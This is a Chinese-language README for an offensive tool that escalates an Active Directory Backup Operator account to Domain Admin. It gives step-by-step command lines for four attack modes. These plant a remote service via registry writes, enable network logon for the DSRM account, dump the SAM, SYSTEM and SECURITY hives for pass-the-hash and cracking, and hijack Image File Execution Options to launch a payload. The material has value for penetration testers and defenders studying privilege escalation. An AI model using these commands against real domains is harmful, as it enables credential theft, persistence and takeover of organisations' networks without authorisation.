BackupOperatorToolkit (BOT) 有四种不同的模式，允许您从 Backup Operator 升级到 Domain Admin。
在运行该工具之前，请使用 "runas.exe /netonly /user:domain.dk\backupoperator powershell.exe"。
SERVICE 模式会在远程主机上创建一个服务，该服务将在主机重启时执行。
该服务通过修改远程注册表创建。这是通过将 "REG_OPTION_BACKUP_RESTORE" 值传递给 RegOpenKeyExA 和 RegSetValueExA 来实现的。
无法立即执行该服务，因为服务控制管理器数据库 "SERVICES_ACTIVE_DATABASE" 在启动时加载到内存中，并且只能通过本地管理员权限进行修改，而 Backup Operator 并不具备此权限。
.\BackupOperatorToolkit.exe SERVICE \\PATH\To\Service.exe \\TARGET.DOMAIN.DK SERVICENAME DISPLAYNAME DESCRIPTION
DSRM 模式会将位于 "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" 的 DsrmAdminLogonBehavior 注册表项设置为 0、1 或 2。
设置为 0 将仅允许在恢复模式下使用 DSRM 帐户。
设置为 1 将允许在目录服务停止且 NTDS 解锁时使用 DSRM 帐户。
设置为 2 将允许通过 WinRM 等网络认证使用 DSRM 帐户。
如果已使用 DUMP 模式并且 DSRM 帐户已离线破解，请将值设置为 2，然后使用 DSRM 帐户登录域控制器，该帐户将成为本地管理员。
.\BackupOperatorToolkit.exe DSRM \\TARGET.DOMAIN.DK 0||1||2
DUMP 模式会将 SAM、SYSTEM 和 SECURITY 配置单元转储到远程主机的本地路径，或将文件上传到网络共享。
转储配置单元后，您可以使用域控制器哈希进行 PtH，破解 DSRM 并启用网络认证，或者使用转储中找到的其他帐户进行身份验证。其他林中的帐户可能存储在这些文件中，我不确定原因，但在与管理林的交互中已观察到这种情况。
此模式灵感来源于 BackupOperatorToDA 项目。
.\BackupOperatorToolkit.exe DUMP \\PATH\To\Dump \\TARGET.DOMAIN.DK
IFEO（映像文件执行选项）允许您在特定进程终止时运行应用程序。
在目标主机被大量使用且很少重启的情况下，这可能在 SERVICE 模式之前提供一个 Shell。
该可执行文件将作为 WerFault.exe 进程的子进程运行。
.\BackupOperatorToolkit.exe IFEO notepad.exe \\Path\To\pwn.exe \\TARGET.DOMAIN.DK
